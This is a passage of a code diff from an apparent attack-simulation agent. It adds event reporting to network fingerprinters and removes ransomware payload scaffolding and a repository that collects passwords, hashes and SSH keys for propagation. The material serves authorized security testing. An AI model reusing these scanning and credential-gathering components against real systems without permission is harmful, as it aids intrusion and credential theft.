SyncManager +from itertools import chain from random import shuffle # noqa: DUO102 -from typing import Iterator, List, Optional, Set, Tuple +from typing import Dict, Iterable, Iterator, List, Optional, Sequence, Set, Tuple import psutil from egg_timer import EggTimer @@ -120,18 +120,23 @@ class TCPPortSelector: the requester's server is listening on the port, the OS will report the port as "LISTEN". """ - def __init__(self, context: BaseContext, manager: SyncManager): - self._leases: DictProxy[NetworkPort, EggTimer] = manager.dict() - self._lock = context.Lock() + def __init__(self): + self._leases: Dict[NetworkPort, EggTimer] = {} + self._lock = threading.Lock() def get_free_tcp_port( - self, min_range: int = 1024, max_range: int = 65535, lease_time_sec: float = 30 + self, + min_range: int = 1024, + max_range: int = 65535, + lease_time_sec: float = 30, + preferred_ports: Sequence[NetworkPort] = [], ) -> Optional[NetworkPort]: """ Get a free TCP port that a new server can listen on - This function will attempt to provide a well-known port that the caller can listen on. If no - well-known ports are available, a random port will be selected. + This function will first check if any of the preferred ports are available. If not, it will + attempt to provide a well-known port that the caller can listen on. If no well-known ports + are available, a random port will be selected. :param min_range: The smallest port number a random port can be chosen from, defaults to 1024 @@ -139,6 +144,7 @@ def get_free_tcp_port( 65535 :param lease_time_sec: The amount of time a port should be reserved for if the OS does not report it as in use, defaults to 30 seconds + :param preferred_ports: A sequence of ports that should be tried first :return: The selected port, or None if no ports are available """ with self._lock: @@ -146,16 +152,21 @@ def get_free_tcp_port( NetworkPort(conn.laddr[1]) for conn in psutil.net_connections() # type: ignore } - common_port = self._get_free_common_port(ports_in_use, lease_time_sec) - if common_port is not None: - return common_port + port = self._get_first_free_port( + ports_in_use, chain(preferred_ports, COMMON_PORTS), lease_time_sec + ) + if port is not None: + return port return self._get_free_random_port(ports_in_use, min_range, max_range, lease_time_sec) - def _get_free_common_port( - self, ports_in_use: Set[NetworkPort], lease_time_sec: float + def _get_first_free_port( + self, + ports_in_use: Set[NetworkPort], + ports_to_check: Iterable[NetworkPort], + lease_time_sec: float, ) -> Optional[NetworkPort]: - for port in COMMON_PORTS: + for port in ports_to_check: if self._port_is_available(port, ports_in_use): self._reserve_port(port, lease_time_sec) return port diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index b9b00c4566d..109082ee50c 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -1,9 +1,7 @@ import logging -import select import socket import struct import sys -from ipaddress import IPv4Address from typing import Optional from common.common_consts.timeouts import CONNECTION_TIMEOUT @@ -15,40 +13,6 @@ logger = logging.getLogger(__name__) -def check_tcp_port(ip: IPv4Address, port: int, timeout=DEFAULT_TIMEOUT, get_banner=False): - """ - Checks if a given TCP port is open - :param ip: Target IP - :param port: Target Port - :param timeout: Timeout for socket connection - :param get_banner: if true, pulls first BANNER_READ bytes from the socket. - :return: Tuple, T/F + banner if requested. - """ - sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock.settimeout(timeout) - - try: - sock.connect((str(ip), port)) - except socket.timeout: - return False, None - except socket.error as exc: - logger.debug("Check port: %s:%s, Exception: %s", ip, port, exc) - return False, None - - banner = None - - try: - if get_banner: - read_ready, _, _ = select.select([sock], [], [], timeout) - if len(read_ready) > 0: - banner = sock.recv(BANNER_READ).decode() - except socket.error: - pass - - sock.close() - return True, banner - - def get_interface_to_target(dst: str) -> Optional[str]: """ :param dst: destination IP address string without port. E.G. '192.168.1.1.' diff --git a/monkey/infection_monkey/network_scanning/http_fingerprinter.py b/monkey/infection_monkey/network_scanning/http_fingerprinter.py index 5dd34aba30e..ad5bc902555 100644 --- a/monkey/infection_monkey/network_scanning/http_fingerprinter.py +++ b/monkey/infection_monkey/network_scanning/http_fingerprinter.py @@ -1,22 +1,34 @@ import logging +import time from contextlib import closing -from typing import Dict, Iterable, Optional, Set +from http import HTTPMethod +from ipaddress import IPv4Address +from typing import Dict, Optional, Sequence, Set from requests import head from requests.exceptions import ConnectionError, Timeout from requests.structures import CaseInsensitiveDict -from common.types import NetworkPort, NetworkProtocol, NetworkService, PortStatus -from infection_monkey.i_puppet import ( +from common.agent_events import FingerprintingEvent, HTTPRequestEvent +from common.event_queue import IAgentEventPublisher +from common.tags import ACTIVE_SCANNING_T1595_TAG, GATHER_VICTIM_HOST_INFORMATION_T1592_TAG +from common.types import ( + AgentID, DiscoveredService, - FingerprintData, - IFingerprinter, - PingScanData, - PortScanData, + NetworkPort, + NetworkProtocol, + NetworkService, + PortStatus, ) +from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PingScanData, PortScanData logger = logging.getLogger(__name__) +HTTP_FINGERPRINTER_TAG = "http-fingerprinter" +EVENT_TAGS = frozenset( + {HTTP_FINGERPRINTER_TAG, ACTIVE_SCANNING_T1595_TAG, GATHER_VICTIM_HOST_INFORMATION_T1592_TAG} +) + class HTTPFingerprinter(IFingerprinter): """ @@ -24,6 +36,10 @@ class HTTPFingerprinter(IFingerprinter): HTTP requests. """ + def __init__(self, agent_id: AgentID, agent_event_publisher: IAgentEventPublisher): + self._agent_id = agent_id + self._agent_event_publisher = agent_event_publisher + def get_host_fingerprint( self, host: str, @@ -35,8 +51,9 @@ def get_host_fingerprint( http_ports = set(options.get("http_ports", [])) ports_to_fingerprint = _get_open_http_ports(http_ports, port_scan_data) + timestamp = time.time() for port in ports_to_fingerprint: - service = _query_potential_http_server(host, port) + service = self._query_potential_http_server(host, port) if service: services.append( @@ -45,29 +62,69 @@ def get_host_fingerprint( ) ) - return FingerprintData(os_type=None, os_version=None, services=services) - + # If there were no ports worth fingerprinting (i.e. no actual fingerprinting action took + # place), then we don't want to publish an event. + if len(ports_to_fingerprint) > 0: + self._publish_fingerprinting_event(host, timestamp, services) -def _query_potential_http_server(host: str, port: int) -> Optional[NetworkService]: - # check both http and https - http = f"http://{host}:{port}" - https = f"https://{host}:{port}" - - for url, ssl in ((https, True), (http, False)): # start with https and downgrade - server_header = _get_server_from_headers(url) - - if server_header is not None: - return NetworkService.HTTPS if ssl else NetworkService.HTTP - - return None + return FingerprintData(os_type=None, os_version=None, services=services) + def _query_potential_http_server(self, host: str, port: int) -> Optional[NetworkService]: + # check both http and https + http = f"http://{host}:{port}" + https = f"https://{host}:{port}" + + for url, ssl in ((https, True), (http, False)): # start with https and downgrade + server_header = self._get_server_from_headers(host, url) + + if server_header is not None: + return NetworkService.HTTPS if ssl else NetworkService.HTTP + + return None + + def _get_server_from_headers(self, host: str, url: str) -> Optional[str]: + timestamp = time.time() + headers = _get_http_headers(url) + self._publish_http_request_event(host, timestamp, url) + + if headers: + return headers.get("Server", "") + + return None + + def _publish_http_request_event(self, host: str, timestamp: float, url: str): + self._agent_event_publisher.publish( + HTTPRequestEvent( + source=self._agent_id, + target=IPv4Address(host), + timestamp=timestamp, + tags=EVENT_TAGS, # type: ignore [arg-type] + method=HTTPMethod.HEAD, + url=url, # type: ignore [arg-type] + ) + ) + + def _publish_fingerprinting_event( + self, host: str, timestamp: float, discovered_services: Sequence[DiscoveredService] + ): + self._agent_event_publisher.publish( + FingerprintingEvent( + source=self._agent_id, + target=IPv4Address(host), + timestamp=timestamp, + tags=EVENT_TAGS, # type: ignore [arg-type] + os=None, + os_version=None, + discovered_services=tuple(discovered_services), + ) + ) -def _get_server_from_headers(url: str) -> Optional[str]: - headers = _get_http_headers(url) - if headers: - return headers.get("Server", "") - return None +def _get_open_http_ports( + allowed_http_ports: Set, port_scan_data: Dict[int, PortScanData] +) -> Sequence[int]: + open_ports = (psd.port for psd in port_scan_data.values() if psd.status == PortStatus.OPEN) + return [port for port in open_ports if port in allowed_http_ports] def _get_http_headers(url: str) -> Optional[CaseInsensitiveDict]: @@ -81,10 +138,3 @@ def _get_http_headers(url: str) -> Optional[CaseInsensitiveDict]: logger.debug(f"Connection error while requesting headers from {url}") return None - - -def _get_open_http_ports( - allowed_http_ports: Set, port_scan_data: Dict[int, PortScanData] -) -> Iterable[int]: - open_ports = (psd.port for psd in port_scan_data.values() if psd.status == PortStatus.OPEN) - return (port for port in open_ports if port in allowed_http_ports) diff --git a/monkey/infection_monkey/network_scanning/mssql_fingerprinter.py b/monkey/infection_monkey/network_scanning/mssql_fingerprinter.py index d0b3c17e186..f390d3c5f78 100644 --- a/monkey/infection_monkey/network_scanning/mssql_fingerprinter.py +++ b/monkey/infection_monkey/network_scanning/mssql_fingerprinter.py @@ -1,25 +1,33 @@ import errno import logging import socket -from typing import Dict, Optional, Set - -from common.types import NetworkPort, NetworkProtocol, NetworkService -from infection_monkey.i_puppet import ( - DiscoveredService, - FingerprintData, - IFingerprinter, - PingScanData, - PortScanData, -) +import time +from ipaddress import IPv4Address +from typing import Dict, Optional, Sequence, Set + +from common.agent_events import FingerprintingEvent +from common.event_queue import IAgentEventPublisher +from common.tags import ACTIVE_SCANNING_T1595_TAG, GATHER_VICTIM_HOST_INFORMATION_T1592_TAG +from common.types import AgentID, DiscoveredService, NetworkPort, NetworkProtocol, NetworkService +from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PingScanData, PortScanData SQL_BROWSER_DEFAULT_PORT = NetworkPort(1434) _BUFFER_SIZE = 4096 _MSSQL_SOCKET_TIMEOUT = 5 +MSSQL_FINGERPRINTER_TAG = "mssql-fingerprinter" +EVENT_TAGS = frozenset( + {MSSQL_FINGERPRINTER_TAG, ACTIVE_SCANNING_T1595_TAG, GATHER_VICTIM_HOST_INFORMATION_T1592_TAG} +) + logger = logging.getLogger(__name__) class MSSQLFingerprinter(IFingerprinter): + def __init__(self, agent_id: AgentID, agent_event_publisher: IAgentEventPublisher): + self._agent_id = agent_id + self._agent_event_publisher = agent_event_publisher + def get_host_fingerprint( self, host: str, @@ -30,6 +38,7 @@ def get_host_fingerprint( """Gets Microsoft SQL Server instance information by querying the SQL Browser service.""" services: Set[DiscoveredService] = set() + timestamp = time.time() try: data = _query_mssql_for_instance_data(host, services) _get_services_from_server_data(data, services) @@ -37,8 +46,25 @@ def get_host_fingerprint( except Exception as ex: logger.debug(f"Did not detect an MSSQL server: {ex}") + self._publish_fingerprinting_event(host, timestamp, list(services)) + return FingerprintData(os_type=None, os_version=None, services=list(services)) + def _publish_fingerprinting_event( + self, host: str, timestamp: float, discovered_services: Sequence[DiscoveredService] + ): + self._agent_event_publisher.publish( + FingerprintingEvent( + source=self._agent_id, + target=IPv4Address(host), + timestamp=timestamp, + tags=EVENT_TAGS, # type: ignore [arg-type] + os=None, + os_version=None, + discovered_services=tuple(discovered_services), + ) + ) + def _query_mssql_for_instance_data(host: str, services: Set[DiscoveredService]) -> bytes: # Create a UDP socket and sets a timeout diff --git a/monkey/infection_monkey/network_scanning/ping_scanner.py b/monkey/infection_monkey/network_scanning/ping_scanner.py index aadeebc7af9..e24447b9b67 100644 --- a/monkey/infection_monkey/network_scanning/ping_scanner.py +++ b/monkey/infection_monkey/network_scanning/ping_scanner.py @@ -109,6 +109,7 @@ def _build_ping_command(host: str, timeout: float): def _generate_ping_scan_event( host: str, ping_scan_data: PingScanData, event_timestamp: float, agent_id: AgentID ) -> PingScanEvent: + # TODO: Tag with the appropriate MITRE ATT&CK tags return PingScanEvent( source=agent_id, target=IPv4Address(host), diff --git a/monkey/infection_monkey/network_scanning/smb_fingerprinter.py b/monkey/infection_monkey/network_scanning/smb_fingerprinter.py index 997c5f0c52b..b6dc59cdd55 100644 --- a/monkey/infection_monkey/network_scanning/smb_fingerprinter.py +++ b/monkey/infection_monkey/network_scanning/smb_fingerprinter.py @@ -1,22 +1,33 @@ import logging import socket import struct -from typing import Dict, List +import time +from ipaddress import IPv4Address +from typing import Dict, List, Optional, Sequence from odict import odict from common import OperatingSystem -from common.types import NetworkPort, NetworkProtocol, NetworkService, PortStatus -from infection_monkey.i_puppet import ( +from common.agent_events import FingerprintingEvent +from common.event_queue import IAgentEventPublisher +from common.tags import ACTIVE_SCANNING_T1595_TAG, GATHER_VICTIM_HOST_INFORMATION_T1592_TAG +from common.types import ( + AgentID, DiscoveredService, - FingerprintData, - IFingerprinter, - PingScanData, - PortScanData, + NetworkPort, + NetworkProtocol, + NetworkService, + PortStatus, ) +from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PingScanData, PortScanData SMB_PORT = NetworkPort(445) +SMB_FINGERPRINTER_TAG = "smb-fingerprinter" +EVENT_TAGS = frozenset( + {SMB_FINGERPRINTER_TAG, ACTIVE_SCANNING_T1595_TAG, GATHER_VICTIM_HOST_INFORMATION_T1592_TAG} +) + logger = logging.getLogger(__name__) @@ -136,6 +147,10 @@ def calculate(self): class SMBFingerprinter(IFingerprinter): + def __init__(self, agent_id: AgentID, agent_event_publisher: IAgentEventPublisher): + self._agent_id = agent_id + self._agent_event_publisher = agent_event_publisher + def get_host_fingerprint( self, host: str, @@ -152,6 +167,7 @@ def get_host_fingerprint( logger.debug(f"Fingerprinting potential SMB port {SMB_PORT} on {host}") + timestamp = time.time() try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(0.7) @@ -203,4 +219,26 @@ def get_host_fingerprint( except Exception as exc: logger.debug("Error getting smb fingerprint: %s", exc) + self._publish_fingerprinting_event(host, timestamp, os_type, os_version, services) + return FingerprintData(os_type=os_type, os_version=os_version, services=services) + + def _publish_fingerprinting_event( + self, + host: str, + timestamp: float, + os_type: Optional[OperatingSystem], + os_version: Optional[str], + discovered_services: Sequence[DiscoveredService], + ): + self._agent_event_publisher.publish( + FingerprintingEvent( + source=self._agent_id, + target=IPv4Address(host), + timestamp=timestamp, + tags=EVENT_TAGS, # type: ignore [arg-type] + os=os_type, + os_version=os_version, + discovered_services=tuple(discovered_services), + ) + ) diff --git a/monkey/infection_monkey/network_scanning/ssh_fingerprinter.py b/monkey/infection_monkey/network_scanning/ssh_fingerprinter.py index f188e8759cb..4a2196220f2 100644 --- a/monkey/infection_monkey/network_scanning/ssh_fingerprinter.py +++ b/monkey/infection_monkey/network_scanning/ssh_fingerprinter.py @@ -1,22 +1,28 @@ import re -from typing import Dict, Optional, Tuple +import time +from ipaddress import IPv4Address +from typing import Dict, Optional, Sequence, Tuple from common import OperatingSystem -from common.types import NetworkProtocol, NetworkService -from infection_monkey.i_puppet import ( - DiscoveredService, - FingerprintData, - IFingerprinter, - PingScanData, - PortScanData, -) +from common.agent_events import FingerprintingEvent +from common.event_queue import IAgentEventPublisher +from common.tags import ACTIVE_SCANNING_T1595_TAG, GATHER_VICTIM_HOST_INFORMATION_T1592_TAG +from common.types import AgentID, DiscoveredService, NetworkProtocol, NetworkService +from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PingScanData, PortScanData SSH_REGEX = r"SSH-\d\.\d-OpenSSH" LINUX_DIST_SSH = ["ubuntu", "debian"] +SSH_FINGERPRINTER_TAG = "ssh-fingerprinter" +EVENT_TAGS = frozenset( + {SSH_FINGERPRINTER_TAG, ACTIVE_SCANNING_T1595_TAG, GATHER_VICTIM_HOST_INFORMATION_T1592_TAG} +) + class SSHFingerprinter(IFingerprinter): - def __init__(self): + def __init__(self, agent_id: AgentID, agent_event_publisher: IAgentEventPublisher): + self._agent_id = agent_id + self._agent_event_publisher = agent_event_publisher self._banner_regex = re.compile(SSH_REGEX, re.IGNORECASE) def get_host_fingerprint( @@ -30,9 +36,11 @@ def get_host_fingerprint( os_version = None services = [] + timestamp = time.time() for ps_data in port_scan_data.values(): if ps_data.banner and self._banner_regex.search(ps_data.banner): - os_type, os_version = self._get_host_os(ps_data.banner) + if os_type is None and os_version is None: + os_type, os_version = self._get_host_os(ps_data.banner) services.append( DiscoveredService( protocol=NetworkProtocol.TCP, @@ -41,6 +49,13 @@ def get_host_fingerprint( ) ) + if len(services) > 0: + # Even though there's no actual "event" taking place, we're still publishing a + # FingerprintingEvent, as this is the only way for the Island to receive this module's + # analysis. This ultimately a minor design flaw that can be addressed when/if we ever + # get around to redesigning the scanning system/workflow. + self._publish_fingerprinting_event(host, timestamp, os_type, os_version, services) + return FingerprintData(os_type=os_type, os_version=os_version, services=services) @staticmethod @@ -53,3 +68,23 @@ def _get_host_os(banner) -> Tuple[Optional[OperatingSystem], Optional[str]]: os = OperatingSystem.LINUX return os, os_version + + def _publish_fingerprinting_event( + self, + host: str, + timestamp: float, + os_type: Optional[OperatingSystem], + os_version: Optional[str], + discovered_services: Sequence[DiscoveredService], + ): + self._agent_event_publisher.publish( + FingerprintingEvent( + source=self._agent_id, + target=IPv4Address(host), + timestamp=timestamp, + tags=EVENT_TAGS, # type: ignore [arg-type] + os=os_type, + os_version=os_version, + discovered_services=tuple(discovered_services), + ) + ) diff --git a/monkey/infection_monkey/network_scanning/tcp_scanner.py b/monkey/infection_monkey/network_scanning/tcp_scanner.py index 85ca0d5c426..fe477b63a19 100644 --- a/monkey/infection_monkey/network_scanning/tcp_scanner.py +++ b/monkey/infection_monkey/network_scanning/tcp_scanner.py @@ -59,6 +59,7 @@ def _generate_tcp_scan_event( ): port_statuses = {port: psd.status for port, psd in port_scan_data_dict.items()} + # TODO: Tag with the appropriate MITRE ATT&CK tags return TCPScanEvent( source=agent_id, target=IPv4Address(host), diff --git a/monkey/infection_monkey/payload/i_payload.py b/monkey/infection_monkey/payload/i_payload.py deleted file mode 100644 index cab8a6fb3ae..00000000000 --- a/monkey/infection_monkey/payload/i_payload.py +++ /dev/null @@ -1,15 +0,0 @@ -import abc -from typing import Dict - -from common.types import Event - - -class IPayload(metaclass=abc.ABCMeta): - @abc.abstractmethod - def run(self, options: Dict, interrupt: Event): - """ - Runs the payload - :param Dict options: A dictionary containing options that modify the behavior of the payload - :param `Event` interrupt: An `Event` object that signals the payload to stop executing and - clean itself up. - """ diff --git a/monkey/infection_monkey/payload/ransomware/__init__.py b/monkey/infection_monkey/payload/ransomware/__init__.py deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/monkey/infection_monkey/payload/ransomware/ransomware_options.py b/monkey/infection_monkey/payload/ransomware/ransomware_options.py deleted file mode 100644 index cfca8f2c43c..00000000000 --- a/monkey/infection_monkey/payload/ransomware/ransomware_options.py +++ /dev/null @@ -1,30 +0,0 @@ -import logging -from pathlib import Path -from typing import Optional - -from common.utils.environment import is_windows_os -from common.utils.file_utils import InvalidPath, expand_path - -logger = logging.getLogger(__name__) - - -class RansomwareOptions: - def __init__(self, options: dict): - self.encryption_enabled = options["encryption"]["enabled"] - self.file_extension = options["encryption"]["file_extension"] - self.readme_enabled = options["other_behaviors"]["readme"] - - self.target_directory: Optional[Path] = None - self._set_target_directory(options["encryption"]["directories"]) - - def _set_target_directory(self, os_target_directories: dict): - if is_windows_os(): - target_directory = os_target_directories["windows_target_dir"] - else: - target_directory = os_target_directories["linux_target_dir"] - - try: - self.target_directory = expand_path(target_directory) - except InvalidPath as e: - logger.debug(f"Target ransomware directory set to None: {e}") - self.target_directory = None diff --git a/monkey/infection_monkey/payload/ransomware/ransomware_payload.py b/monkey/infection_monkey/payload/ransomware/ransomware_payload.py deleted file mode 100644 index e787f59fdec..00000000000 --- a/monkey/infection_monkey/payload/ransomware/ransomware_payload.py +++ /dev/null @@ -1,19 +0,0 @@ -from typing import Dict - -from common.event_queue import IAgentEventQueue -from common.types import AgentID, Event -from infection_monkey.payload.i_payload import IPayload - -from . import ransomware_builder - - -class RansomwarePayload(IPayload): - def __init__(self, agent_event_queue: IAgentEventQueue, agent_id: AgentID): - self._agent_event_queue = agent_event_queue - self._agent_id = agent_id - - def run(self, options: Dict, interrupt: Event): - ransomware = ransomware_builder.build_ransomware( - options, self._agent_event_queue, self._agent_id - ) - ransomware.run(interrupt) diff --git a/monkey/infection_monkey/payload/ransomware/readme_dropper.py b/monkey/infection_monkey/payload/ransomware/readme_dropper.py deleted file mode 100644 index 253c5e574ea..00000000000 --- a/monkey/infection_monkey/payload/ransomware/readme_dropper.py +++ /dev/null @@ -1,14 +0,0 @@ -import logging -import shutil -from pathlib import Path - -logger = logging.getLogger(__name__) - - -def leave_readme(src: Path, dest: Path): - if dest.exists(): - logger.warning(f"{dest} already exists, not leaving a new README.txt") - return - - logger.info(f"Leaving a ransomware README file at {dest}") - shutil.copyfile(src, dest) diff --git a/monkey/infection_monkey/plugin/exploiter_plugin_factory.py b/monkey/infection_monkey/plugin/exploiter_plugin_factory.py index 5c2d68ba9dd..6e982db14c7 100644 --- a/monkey/infection_monkey/plugin/exploiter_plugin_factory.py +++ b/monkey/infection_monkey/plugin/exploiter_plugin_factory.py @@ -4,7 +4,11 @@ from common.event_queue import IAgentEventPublisher from common.types import AgentID -from infection_monkey.exploit import IAgentBinaryRepository, IAgentOTPProvider +from infection_monkey.exploit import ( + IAgentBinaryRepository, + IAgentOTPProvider, + IHTTPAgentBinaryServerRegistrar, +) from infection_monkey.network import TCPPortSelector from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository @@ -15,6 +19,7 @@ class ExploiterPluginFactory(IPluginFactory): def __init__( self, agent_id: AgentID, + http_agent_binary_server_registrar: IHTTPAgentBinaryServerRegistrar, agent_binary_repository: IAgentBinaryRepository, agent_event_publisher: IAgentEventPublisher, propagation_credentials_repository: IPropagationCredentialsRepository, @@ -23,6 +28,7 @@ def __init__( create_plugin: Callable[..., SingleUsePlugin], ): self._agent_id = agent_id + self._http_agent_binary_server_registrar = http_agent_binary_server_registrar self._agent_binary_repository = agent_binary_repository self._agent_event_publisher = agent_event_publisher self._propagation_credentials_repository = propagation_credentials_repository @@ -39,4 +45,5 @@ def create(self, plugin_name: str) -> SingleUsePlugin: propagation_credentials_repository=self._propagation_credentials_repository, tcp_port_selector=self._tcp_port_selector, otp_provider=self._otp_provider, + http_agent_binary_server_registrar=self._http_agent_binary_server_registrar, ) diff --git a/monkey/infection_monkey/plugin/payload_plugin_factory.py b/monkey/infection_monkey/plugin/payload_plugin_factory.py new file mode 100644 index 00000000000..3176839d601 --- /dev/null +++ b/monkey/infection_monkey/plugin/payload_plugin_factory.py @@ -0,0 +1,30 @@ +from typing import Callable + +from serpentarium import SingleUsePlugin + +from common.event_queue import IAgentEventPublisher +from common.types import AgentID, SocketAddress + +from .i_plugin_factory import IPluginFactory + + +class PayloadPluginFactory(IPluginFactory): + def __init__( + self, + agent_id: AgentID, + agent_event_publisher: IAgentEventPublisher, + island_server_address: SocketAddress, + create_plugin: Callable[..., SingleUsePlugin], + ): + self._agent_id = agent_id + self._island_server_address = island_server_address + self._agent_event_publisher = agent_event_publisher + self._create_plugin = create_plugin + + def create(self, plugin_name: str) -> SingleUsePlugin: + return self._create_plugin( + plugin_name=plugin_name, + agent_id=self._agent_id, + agent_event_publisher=self._agent_event_publisher, + island_server_address=self._island_server_address, + ) diff --git a/monkey/infection_monkey/propagation_credentials_repository/__init__.py b/monkey/infection_monkey/propagation_credentials_repository/__init__.py index c613b35e733..39e62ce1646 100644 --- a/monkey/infection_monkey/propagation_credentials_repository/__init__.py +++ b/monkey/infection_monkey/propagation_credentials_repository/__init__.py @@ -1,6 +1,2 @@ -from .i_legacy_propagation_credentials_repository import ILegacyPropagationCredentialsRepository -from .aggregating_propagation_credentials_repository import ( - AggregatingPropagationCredentialsRepository, -) from .i_propagation_credentials_repository import IPropagationCredentialsRepository from .propagation_credentials_repository import PropagationCredentialsRepository diff --git a/monkey/infection_monkey/propagation_credentials_repository/aggregating_propagation_credentials_repository.py b/monkey/infection_monkey/propagation_credentials_repository/aggregating_propagation_credentials_repository.py deleted file mode 100644 index 6db10b6d550..00000000000 --- a/monkey/infection_monkey/propagation_credentials_repository/aggregating_propagation_credentials_repository.py +++ /dev/null @@ -1,90 +0,0 @@ -import logging -from typing import Any, Dict, Iterable, Sequence - -from common.credentials import Credentials, LMHash, NTHash, Password, SSHKeypair, Username -from common.credentials.credentials import Identity, Secret -from infection_monkey.custom_types import PropagationCredentials -from infection_monkey.i_control_channel import IControlChannel -from infection_monkey.utils.decorators import request_cache - -from .i_legacy_propagation_credentials_repository import ILegacyPropagationCredentialsRepository - -logger = logging.getLogger(__name__) - -CREDENTIALS_POLL_PERIOD_SEC = 10 - - -class AggregatingPropagationCredentialsRepository(ILegacyPropagationCredentialsRepository): - """ - Repository that stores credentials on the island and saves/gets credentials by using - command and control channel - """ - - def __init__(self, control_channel: IControlChannel): - self._stored_credentials: Dict = { - "exploit_user_list": set(), - "exploit_password_list": set(), - "exploit_lm_hash_list": set(), - "exploit_ntlm_hash_list": set(), - "exploit_ssh_keys": [], - } - self._control_channel = control_channel - - # Ensure caching happens per-instance instead of being shared across instances - self._get_credentials_from_control_channel = request_cache(CREDENTIALS_POLL_PERIOD_SEC)( - self._control_channel.get_credentials_for_propagation - ) - - def add_credentials(self, credentials_to_add: Iterable[Credentials]): - for credentials in credentials_to_add: - logger.debug("Adding credentials") - if credentials.identity: - self._add_identity(credentials.identity) - - if credentials.secret: - self._add_secret(credentials.secret) - - def _add_identity(self, identity: Identity): - if isinstance(identity, Username): - self._stored_credentials.setdefault("exploit_user_list", set()).add(identity.username) - - def _add_secret(self, secret: Secret): - if isinstance(secret, Password): - self._stored_credentials.setdefault("exploit_password_list", set()).add(secret.password) - elif isinstance(secret, LMHash): - self._stored_credentials.setdefault("exploit_lm_hash_list", set()).add(secret.lm_hash) - elif isinstance(secret, NTHash): - self._stored_credentials.setdefault("exploit_ntlm_hash_list", set()).add(secret.nt_hash) - elif isinstance(secret, SSHKeypair): - self._set_attribute( - "exploit_ssh_keys", - [{"public_key": secret.public_key, "private_key": secret.private_key}], - ) - - def get_credentials(self) -> PropagationCredentials: - try: - propagation_credentials = self._get_credentials_from_control_channel() - logger.debug(f"Received {len(propagation_credentials)} from the control channel") - - self.add_credentials(propagation_credentials) - except Exception as ex: - logger.error(f"Error while attempting to retrieve credentials for propagation: {ex}") - - return self._stored_credentials - - def _set_attribute(self, attribute_to_be_set: str, credentials_values: Sequence[Any]): - if not credentials_values: - return - - if isinstance(credentials_values[0], dict): - self._stored_credentials.setdefault(attribute_to_be_set, []).extend(credentials_values) - self._stored_credentials[attribute_to_be_set] = [ - dict(s_c) - for s_c in set( - frozenset(d_c.items()) for d_c in self._stored_credentials[attribute_to_be_set] - ) - ] - else: - self._stored_credentials.setdefault(attribute_to_be_set, set()).update( - credentials_values - ) diff --git a/monkey/infection_monkey/propagation_credentials_repository/i_legacy_propagation_credentials_repository.py b/monkey/infection_monkey/propagation_credentials_repository/i_legacy_propagation_credentials_repository.py deleted file mode 100644 index 37cbf51f330..00000000000 --- a/monkey/infection_monkey/propagation_credentials_repository/i_legacy_propagation_credentials_repository.py +++ /dev/null @@ -1,25 +0,0 @@ -import abc -from typing import Iterable - -from common.credentials import Credentials -from infection_monkey.custom_types import PropagationCredentials - - -class ILegacyPropagationCredentialsRepository(metaclass=abc.ABCMeta): - """ - Repository that stores and provides credentials for the Agent to use in propagation - """ - - @abc.abstractmethod - def add_credentials(self, credentials_to_add: Iterable[Credentials]): - """ - Adds credentials to the CredentialStore - :param credentials_to_add: The credentials that will be added - """ - - @abc.abstractmethod - def get_credentials(self) -> PropagationCredentials: - """ - Retrieves credentials from the store - :return: Credentials that can be used for propagation - """ diff --git a/monkey/infection_monkey/propagation_credentials_repository/propagation_credentials_repository.py b/monkey/infection_monkey/propagation_credentials_repository/propagation_credentials_repository.py index d591afc27e7..e8779f0507b 100644 --- a/monkey/infection_monkey/propagation_credentials_repository/propagation_credentials_repository.py +++ b/monkey/infection_monkey/propagation_credentials_repository/propagation_credentials_repository.py @@ -43,6 +43,9 @@ def add_credentials(self, credentials_to_add: Iterable[Credentials]): def get_credentials(self) -> Iterable[Credentials]: # TODO: If we can't use a proxy object, consider contributing a multiprocessing-safe # implementation of EggTimer to clean this up. + # + # If we can use a proxy object, we should use + # common.decorators.request_cache to decorate this method. try: with self._lock: now = time.monotonic() diff --git a/monkey/infection_monkey/puppet/plugin_compatibility_verifier.py b/monkey/infection_monkey/puppet/plugin_compatibility_verifier.py index 893a9f07479..d9870b5451c 100644 --- a/monkey/infection_monkey/puppet/plugin_compatibility_verifier.py +++ b/monkey/infection_monkey/puppet/plugin_compatibility_verifier.py @@ -1,6 +1,6 @@ import logging import threading -from typing import Dict, Mapping, Optional +from typing import Dict, Optional from common import OperatingSystem from common.agent_plugins import AgentPluginManifest, AgentPluginType @@ -19,13 +19,10 @@ def __init__( self, island_api_client: IIslandAPIClient, operating_system: OperatingSystem, - exploiter_plugin_manifests: Mapping[str, AgentPluginManifest], ): self._island_api_client = island_api_client self._operating_system = operating_system - self._plugin_manifests: Dict[AgentPluginType, Dict[str, AgentPluginManifest]] = { - AgentPluginType.EXPLOITER: dict(exploiter_plugin_manifests), - } + self._plugin_manifests: Dict[AgentPluginType, Dict[str, AgentPluginManifest]] = {} self._cache_lock = threading.Lock() def verify_local_operating_system_compatibility( diff --git a/monkey/infection_monkey/puppet/plugin_source_extractor.py b/monkey/infection_monkey/puppet/plugin_source_extractor.py index 1e0af6bd83b..74a5a98baf9 100644 --- a/monkey/infection_monkey/puppet/plugin_source_extractor.py +++ b/monkey/infection_monkey/puppet/plugin_source_extractor.py @@ -1,3 +1,4 @@ +import gzip import io from pathlib import Path from tarfile import TarFile, TarInfo @@ -41,7 +42,8 @@ def extract_plugin_source(self, agent_plugin: AgentPlugin): destination = self._get_plugin_destination_directory(agent_plugin) create_secure_directory(destination) - archive = TarFile(fileobj=io.BytesIO(agent_plugin.source_archive), mode="r") + decompressed_archive = _decompress_archive(agent_plugin.source_archive) + archive = TarFile(fileobj=io.BytesIO(decompressed_archive), mode="r") # We check the entire archive to detect any malicious activity **before** we extract any # files. This is a paranoid approach that prevents against partial extraction of malicious @@ -66,6 +68,13 @@ def _detect_directory_traversal_in_plugin_name(self, destination: Path): ) +def _decompress_archive(archive: bytes) -> bytes: + try: + return gzip.decompress(archive) + except gzip.BadGzipFile: + raise ValueError("The provided source archive is not a valid gzip archive") + + 